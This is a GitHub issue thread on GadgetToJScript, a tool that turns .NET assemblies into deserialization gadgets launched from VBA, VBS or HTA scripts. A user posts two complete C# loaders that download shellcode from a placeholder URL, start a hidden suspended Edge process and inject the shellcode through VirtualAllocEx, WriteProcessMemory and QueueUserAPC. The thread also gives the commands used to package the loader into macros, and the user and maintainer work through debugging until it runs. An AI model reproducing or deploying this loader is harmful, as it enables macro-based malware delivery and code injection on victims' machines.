med0x2e / GadgetToJScript

A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts.
GNU General Public License v3.0
863 stars 157 forks source link

VBA macro not executing but no error message #16

Closed q00td closed 10 months ago

q00td commented 10 months ago

Hello and nice to meet you,

I'v been trying to get the macro to work using different outputs but with no luck. I also tried .net 3.5 and .net 4.8 (with -b) but the results is the same.

The original message box was working just fine but my payload do not. Even though if i switch compilation to Windows console, the C# program runs and i get code execution.

So i was wondering if you had any tips that would help me debug my program. Maybe it's inside the project configuration (allowing unsafe, prefer 64bits/ or 32bits for dlls etc.)

Commands i ran: .NET 4.8: .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba-b -o .\GadgetToJScript-2.0\output\output -a .\TestAssembly\bin\Release\TestAssembly.dll (i also tried with -r)

.NET 3.5: .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba-o .\GadgetToJScript-2.0\output\output -a .\TestAssembly\bin\Release\TestAssembly.dll

Said Program: Heads up, i noticed i made a mistake i used Main() instead of Program, feel free to jump to last comment for the appropriate code.

using System;
using System.Net;
using System.Runtime.InteropServices;

namespace TestAssembly
{
    public class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public byte[] lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out uint lpNumberOfBytesWritten
        );
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flNewProtect,
            out uint lpflOldProtect
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct Protection
        {
            public static readonly uint PAGE_EXECUTE_READ = 0x20;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint QueueUserAPC(
            IntPtr pfnAPC,
            IntPtr hThread,
            IntPtr dwData
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(
            IntPtr hThread
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(
            IntPtr hObject
        );

        public static void Main(string[] args)
        {

            byte[] buf;
            using (var client = new WebClient())
            {
                client.Proxy = WebRequest.GetSystemWebProxy();
                client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                //TLS
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;

                buf = client.DownloadData("<URL>"); // or your own payload

                STARTUPINFO si = new STARTUPINFO();
                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                si.cb = (uint)Marshal.SizeOf(si);

                // Set the STARTF_USESHOWWINDOW flag to hide the window
                si.dwFlags = 0x00000001;
                si.wShowWindow = 0;

                // Set the CREATE_SUSPENDED flag to create the process in a suspended state
                uint dwCreationFlags = 0x00000004;

                bool success = CreateProcess(
                    "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                    "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start /prefetch:5",
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    dwCreationFlags,
                    IntPtr.Zero,
                    null,
                    ref si,
                    out pi
                );

                uint flAllocationType = 0x1000; // MEM_COMMIT
                uint flProtect = 0x04; // PAGE_READWRITE
                uint flProtect_ex = 0x40; // PAGE_READWRITE

                var baseAdress = VirtualAllocEx(
                    pi.hProcess,
                    IntPtr.Zero,
                    (uint)buf.Length,
                    flAllocationType,
                    flProtect
                );

                if (baseAdress == IntPtr.Zero)
                {
                    return;
                }

                success = WriteProcessMemory(
                    pi.hProcess,
                    baseAdress,
                    buf,
                    (uint)buf.Length,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }

                success = VirtualProtectEx(
                    pi.hProcess,
                    baseAdress,
                    (uint)buf.Length,
                    Protection.PAGE_EXECUTE_READ,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }

                _ = QueueUserAPC
                (
                    baseAdress,
                    pi.hThread,
                    IntPtr.Zero
                );

                ResumeThread(pi.hThread);

                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);

            }
        }
    }
}
q00td commented 10 months ago

Also after reading some past issues, i think it could also come from the fact that i didn't use -d flag for System.dll

q00td commented 10 months ago

Also after reading some past issues, i think it could also come from the fact that i didn't use -d flag for System.dll

So i tried:

.\GadgetToJScript\bin\Release\GadgetToJScript.exe -w hta -b -e hex -o .\GadgetToJScript-2.0\output\output -a .\TestAssembly\bin\Release\TestAssembly.dll -r -d Kernel32.dll System.dll System.Runtime.InteropServices.dll

According to what my C# is using but didn't work aswell, still get a blank hta and vba do not prompt anything

q00td commented 10 months ago

Well, didn't notice that i wasn't using the correct entry point, so here is the code with the unsafe block and the appropriate entry point "Program".

But still not working.

Command used: .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w hta -b -e hex -o .\output -a .\TestAssembly\bin\Release\TestAssembly.dll -r -d System.dll,kernel32.dll,System.Runtime.InteropServices.dllw

And i also added: parameters.CompilerOptions = "/unsafe"; to _AssemblyLoader.cs

Program:

using System.Runtime.InteropServices;
using System;
using System.Net;
namespace TestAssembly{
    public class Program{

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public byte[] lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out uint lpNumberOfBytesWritten
        );
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flNewProtect,
            out uint lpflOldProtect
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct Protection
        {
            public static readonly uint PAGE_EXECUTE_READ = 0x20;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint QueueUserAPC(
            IntPtr pfnAPC,
            IntPtr hThread,
            IntPtr dwData
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(
            IntPtr hThread
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(
            IntPtr hObject
        );
        public Program(){

            byte[] shellcode;
            using (var client = new WebClient())
            {
                client.Proxy = WebRequest.GetSystemWebProxy();
                client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                //TLS
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls13 | SecurityProtocolType.Tls12;

                shellcode = client.DownloadData("<url>");
            }

            unsafe
            {
                fixed (byte* ptr = shellcode)
                {
                    STARTUPINFO si = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                    si.cb = (uint)Marshal.SizeOf(si);

                    // Set the STARTF_USESHOWWINDOW flag to hide the window
                    si.dwFlags = 0x00000001;
                    si.wShowWindow = 0;

                    // Set the CREATE_SUSPENDED flag to create the process in a suspended state
                    uint dwCreationFlags = 0x00000004;

                    bool success = CreateProcess(
                        "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                        "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start /prefetch:5",
                        IntPtr.Zero,
                        IntPtr.Zero,
                        false,
                        dwCreationFlags,
                        IntPtr.Zero,
                        null,
                        ref si,
                        out pi
                    );

                    uint flAllocationType = 0x1000; // MEM_COMMIT
                    uint flProtect = 0x04; // PAGE_READWRITE
                    uint flProtect_ex = 0x40; // PAGE_READWRITE

                    var baseAdress = VirtualAllocEx(
                        pi.hProcess,
                        IntPtr.Zero,
                        (uint)shellcode.Length,
                        flAllocationType,
                        flProtect
                    );

                    if (baseAdress == IntPtr.Zero)
                    {
                        return;
                    }

                    success = WriteProcessMemory(
                        pi.hProcess,
                        baseAdress,
                        shellcode,
                        (uint)shellcode.Length,
                        out _
                    );

                    if (!success)
                    {
                        TerminateProcess(pi.hProcess, 0);
                        return;
                    }

                    success = VirtualProtectEx(
                        pi.hProcess,
                        baseAdress,
                        (uint)shellcode.Length,
                        Protection.PAGE_EXECUTE_READ,
                        out _
                    );

                    if (!success)
                    {
                        TerminateProcess(pi.hProcess, 0);
                        return;
                    }

                    _ = QueueUserAPC
                    (
                        baseAdress,
                        pi.hThread,
                        IntPtr.Zero
                    );

                    ResumeThread(pi.hThread);

                    CloseHandle(pi.hThread);
                    CloseHandle(pi.hProcess);
                }
            }

        }
    }
}
q00td commented 10 months ago

Well, after making some changes and using the last command i was able to make it work in a vbs & vba, but not hta. I'll stop it at that since i won't plan to use any hta.

med0x2e commented 10 months ago

Hi @q00td

It seems you've managed to make it work for your specific use case (VBA/VBS), for HTA/JS, most likely it could have something to do with the use of the 32-bit HTA handler instead of the 64-bit one, more details on that in here

For debugging similar issues in the future, you can create a simple deserializer in c# that takes the stage_2 based64 encoded blob, decodes it, then deserializes it, then step through the c# deserializer and see what type of (hopefully explicit) errors you're getting...

This was mentioned in Here